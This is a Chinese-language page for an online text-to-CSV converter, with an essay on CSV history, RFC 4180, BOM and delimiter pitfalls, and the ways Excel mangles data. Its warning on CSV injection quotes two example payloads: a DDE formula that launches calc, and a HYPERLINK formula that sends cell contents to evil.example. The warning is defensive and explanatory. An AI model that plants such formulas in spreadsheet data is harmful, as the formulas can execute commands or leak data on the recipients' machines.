文本 → CSV 转换器，免费
将表格型文本数据转换为 CSV 格式。自动检测分隔符、处理引号，并在下载前预览。
关于 CSV 格式
CSV（Comma-Separated Values，逗号分隔值）是一种用于存储表格数据的简单文本格式。每行代表一条记录，值之间用逗号分隔。CSV 被电子表格、数据库和分析工具广泛支持。
为什么转换为 CSV？
- 数据便携性· 从任意文本格式转换为 CSV，便于导入电子表格。
- 通用格式· CSV 受 Excel、Google Sheets、数据库和编程工具支持。
- 数据清理· 规范不一致的分隔符和格式。
- API 与自动化· CSV 非常适合批量操作和集成。
- 归档格式· 以可读、平台无关的格式保存表格数据。
常见问题
工具支持哪些分隔符？
它会自动检测制表符、空格、逗号、分号和竖线。您也可以定义单字符的自定义分隔符。
如何处理包含逗号的字段？
启用「将含逗号的字段加引号」选项，将它们用引号包起来，以符合 CSV 规范。
可以包含表头吗？
可以，如果您的第一行是列名，请启用「包含表头行」选项。
CSV简史：比定义它的规范更古老的格式
CSV是一种人人在用、却无人拥有的格式，其传承是非正式的。逗号分隔惯例最早有文献记载的用法可追溯至1972年，当时IBM Fortran（H扩展级）支持列表导向的输入/输出，其中逗号用作行内各值之间的分隔符。从20世纪70年代到80年代，每一款需要与其他工具交换数据的数据库、电子表格、统计软件包和记账应用程序，都独立地发明出了某种「以某字符分隔同行各值、以另一字符分隔各行」的变体。没有规范，没有管理机构，没有权威实现，只有最宽泛意义上的共识。
到21世纪初，这种混乱造成的代价已无法回避。IETF最终接受了一份规范：RFC 4180，「逗号分隔值（CSV）文件的通用格式和MIME类型」，由Yakov Shafranovich于2005年10月发布。RFC 4180篇幅短小，仅寥寥数页，将大多数人已达成共识的内容成文化：逗号作为字段分隔符，双引号作为包含逗号、引号或换行符的字段的可选封装字符，双写双引号（""）作为在引用字段内转义字面引号的方式，CRLF作为行终止符，以及向IANA注册的MIME类型text/csv。规范还为MIME类型定义了一个可选的header参数，使发送方能够告知接收方第一行是否为标题行。
RFC 4180是信息性规范，而非严格标准，是否遵从完全自愿。但它为我们提供了一个参照点，是CSV最接近「正确」定义的东西。后来W3C发布的「网络表格数据与元数据模型」（CSVW，2015年）试图通过附加一个描述各列含义及解读方式的JSON附属文件来扩展CSV的元数据体系。CSVW被广泛引用，却鲜有实际部署。
「CSV」在现实中并不遵循RFC 4180的定义
任何曾经从陌生人那里接收过CSV文件的人都知道这个问题的形态。分歧可以从以下几个维度加以梳理：
- 分隔符字符。RFC 4180规定使用逗号。然而，在以逗号作为小数点分隔符的欧洲国家（欧洲大陆大部分地区、法国、德国、意大利、西班牙、荷兰、巴西），欧洲Excel默认用分号来写CSV，因为使用逗号会与
3,14这样的π数值产生冲突。文件扩展名仍是.csv，MIME类型仍是text/csv，但内容并非美国或英国接收方所预期的。 - 引用。RFC 4180规定：当字段包含分隔符、引号或换行符时，用双引号括起；将内嵌的引号双写（即
He said "hi"变为"He said ""hi"""）。实际上，许多写入程序对所有字段都加引号（过于保守），有些完全不加引号（一旦出现逗号就会出错），还有少数用反斜杠转义（\"），这是C语言惯例，但会破坏符合RFC规范的解析器。 - 行尾字符。RFC 4180规定使用CRLF（
\r\n）。Windows版Excel生成CRLF。经典Mac版Excel只生成CR（\r）。大多数Unix和Linux工具生成LF（\n）。这三种形式都出现在标注为.csv的文件中，这种差异会破坏硬编码单一期望值的解析器。 - 末尾换行。有些写入程序在最后一条记录后加上换行符，有些则不加。通过计数换行符来统计记录数的解析器会因此报告差一错误。
- 标题行。现实中的CSV文件大约各占一半（有标题/无标题）。MIME类型允许使用
header=present参数，但用邮件发送CSV文件时没有人会附带MIME头，因此只能靠猜测。
BOM陷阱
这个问题值得单独成节，因为它是跨平台CSV痛苦中最常见的根源。Microsoft Excel不会自动识别UTF-8编码的CSV，除非文件以UTF-8字节顺序标记（BOM）开头：即三个字节EF BB BF，用以编码Unicode字符U+FEFF。没有BOM，Excel会用用户Windows区域设置的旧版代码页打开文件（西方为Windows-1252，日本为Shift_JIS，中国大陆为GBK）。任何非ASCII字符（重音字母、货币符号、表情符号、CJK字符）都会被乱码处理。
解决方案是在文件开头添加BOM。代价是其他所有工具都会被其破坏。Apple Numbers（较新版本之前）会在第一个单元格中将BOM显示为字面字符。许多命令行工具（awk、cut、旧版sed）将BOM视为第一个字段的一部分，因此应该显示为name的标题行会显示为name。大多数JavaScript CSV解析器会剥离BOM；许多旧版Python csv模块工作流则不会（必须使用utf-8-sig编解码器打开文件）。由于在线工具无法知晓用户将用何种程序打开文件，省略BOM并告知Excel用户通过「数据→从文本/CSV」导入（该方式总是允许用户明确选择UTF-8）是合理的默认选择。
Excel至少提供四种「CSV」格式
Excel的「另存为」对话框提供了不止一种CSV变体，差异相当重要：
- CSV（逗号分隔）(*.csv)：使用用户区域设置的列表分隔符（en-US/en-GB为逗号，fr-FR/de-DE/es-ES/it-IT/pt-BR为分号）。编码为旧版ANSI代码页。无BOM。行尾为CRLF。
- CSV UTF-8（逗号分隔）(*.csv)：与上述相同的分隔符行为（尽管名称如此，仍由区域设置驱动），但以带BOM的UTF-8编码。于Excel 2016中引入。
- CSV（Macintosh）(*.csv)：逗号分隔，MacRoman编码，经典Mac行尾（仅CR）。基本已过时，但仍偶有出现。
- CSV（MS-DOS）(*.csv)：逗号分隔，OEM代码页（en-US为CP437，西欧为CP850），CRLF。
用户界面以四种不同方式标注了「CSV」，而实际文件内容却有实质性差异。这就是本转换器实际运作所处的现实环境。
为什么要进行文本→CSV的转换
大多数在线「CSV工具」运行的是反向操作：接收CSV，输出其他格式（JSON、HTML表格、SQL INSERT语句、可打印PDF）。本工具反向运行：接收杂乱文本，生成整洁CSV。适用场景包括：
- 将邮件列表整理成电子表格行。一位CRM操作员将800封邮件从密送字段复制到记事本中。每封邮件需要单独占据电子表格的一行，以便上传到邮件合并工具。粘贴、添加标题、下载。
- 转换从PDF复制的表格。PDF表格复制后，列与列之间通常以连续空格（或制表符，具体取决于PDF生成器）分隔。使用灵活的分隔符（包括「连续空白字符」）即可将其转换为整洁的网格。
- 整理AI生成的输出。大型语言模型喜欢输出Markdown表格。用户可以粘贴Markdown表格，转换器检测管道符分隔符和破折号分隔行，输出真正的CSV。
- 将日志导入Excel或Google Sheets。Apache组合日志格式、syslog记录以及许多应用程序日志都是面向行的，但对电子表格并不友好。转换为CSV，在电子表格中打开，排序、筛选、透视。
- 为数据库
COPY语句准备数据。PostgreSQL的COPY ... FROM STDIN WITH (FORMAT csv)可直接读取CSV。用户只需粘贴文本文件中的列表，转换后再用\copy导入表格，无需编写加载脚本。 - 手动构建CSV用于批量操作。Stripe、Mailchimp、Shopify及大多数SaaS平台均通过CSV导入来支持批量操作。需要手动更新30个产品价格的用户只需构建好各行，工具就会将其整理成平台所要求的精确CSV格式。
Excel有时会静默地改写你的数据
一些CSV「地雷」甚至会让谨慎的用户中招：
- 前导零消失。美国邮政编码
01234打开后变为1234。电话分机号0049打开后变为49。如果Excel中途判定该列为文本，产品代码00ABC则变为ABC。唯一可靠的防范方法是：在值前添加撇号（显示技巧）、预先将列格式化为文本，或使用Excel的「数据→从文本/CSV」导入路径，该路径允许锁定列类型。 - 科学记数法自动转换。较长的数字字符串（如
0123456789012）在Excel判定其为数字时会变为1.23457E+11，原始字符就此永久消失。这个问题曾对基因命名数据集造成严重损坏，以至于HUGO基因命名委员会于2020年专门重命名了多个基因以规避Excel的强制转换，例如MARCH1、SEPT2和OCT4等基因符号曾被转换为日期。 - 日期自动检测。包含乐谱拍号
3/4、4/4、6/8、7/8的列会变成日期：4月3日、4月4日、8月6日、8月7日。序列号1-1和时间1:30同样如此。 - 十六进制解析。
0x1A和0E5都是Excel认可的数字表示形式。一列寄存器地址或化学化合物代码可能因此被静默转换。 - CSV注入攻击。以
=、+、-、@或制表符/回车符开头的字段会被Excel和Google Sheets解析为公式。恶意值如=cmd|'/c calc'!A0或=HYPERLINK("https://evil.example/?d="&A1, "Click")，根据电子表格客户端的设置，可能泄露相邻单元格内容或执行shell命令。任何从用户提交的文本生成CSV的工具都应考虑对公式引导字符进行转义。 - 含换行符的引用字段。像
"Hello,\nworld"这样在引号内包含字面换行符的字段，是磁盘上跨越两行的单个字段。那些先按换行符分割、再按逗号分割的解析器会静默地损坏数据。正确的CSV解析是一个状态机，而非两次String.split调用。
本工具在CSV现代替代品中的定位
CSV之所以生命力持久，是因为它是文本，人类可以直接阅读。对于严肃的数据交换，多种格式在特定维度上已经取代了它：
- Apache Parquet。二进制列式格式。文件有类型、经过压缩且面向列组织（因此
SELECT col1 FROM big_file.parquet只从磁盘读取该列）。是分析工作负载的默认选择，Snowflake、BigQuery、Databricks和Athena均原生支持。「当你控制两端时最应该使用什么来替代CSV」的最有力竞争者。由于是二进制格式，不满足「可在文本编辑器中阅读」的需求。 - JSON Lines（JSONL / NDJSON）。每行一个JSON对象。结合了CSV的流式特性与JSON的类型化嵌套结构。广泛用于日志摄取、机器学习数据集和事件流。权衡点：比CSV更冗长（每条记录都重复每个键）。
- Apache Arrow IPC（Feather v2）。用于表格数据的二进制内存和传输格式，专为进程和编程语言之间的零拷贝交换而设计。在数据科学工具链内部（pandas、R的arrow包、Polars、DuckDB）被大量使用。
- Avro和ORC。来自Hadoop生态系统的二进制、自带模式的格式。在数据工程领域之外较为少见。
对于面向开发者和办公室用户的免费在线转换器而言，CSV仍然是正确的输出格式，因为它是各处数据导入的通用语言。现代替代品已然存在，但尚未在收件箱中取代CSV。
更多问题
我是否应该在输出中添加UTF-8 BOM？
如果文件是为了在Windows上双击打开Excel，那么需要添加；若无BOM，Excel会用旧版代码页打开并乱码处理非ASCII文本。如果目标是其他任何程序（Apple Numbers、命令行脚本、网络上传表单），则省略BOM。最稳妥的方案是省略BOM，并告知Excel用户通过「数据→从文本/CSV」导入，在那里可以明确选择UTF-8。
我的CSV在Excel中每行只显示一个单元格，是什么原因？
几乎总是分隔符不匹配的问题。你所在的区域设置让Excel期望分号（欧洲大陆大部分地区），但文件使用的是逗号，或反之亦然。请通过「数据→从文本/CSV」而非双击打开文件，该向导允许明确选择分隔符。或者在Excel的「另存为」菜单中选择与本地分隔符匹配的变体来保存文件。
TSV和CSV有什么区别？
TSV使用制表符而非逗号作为分隔符，有其专属的MIME类型text/tab-separated-values和IANA注册。TSV的优势在于现实世界的数据很少包含字面制表符，因此几乎不需要引用；缺点是制表符在文本编辑器中不可见，且复制粘贴行为因工具而异。CSV的引用机制使其能够安全处理包含分隔符的字段；TSV则主要通过完全避开这个问题来解决它。
有没有可以在分享文件前运行的CSV校验工具？
有，在命令行中可使用csvkit的csvclean来报告列数不正确的行；Frictionless Data的frictionless CLI可依据可选模式进行验证。在浏览器端，PapaParse可逐行报告解析错误。在实践中，针对RFC 4180（CRLF行尾、双写引号转义）的严格验证并不多见，大多数解析器接受任何常见变体。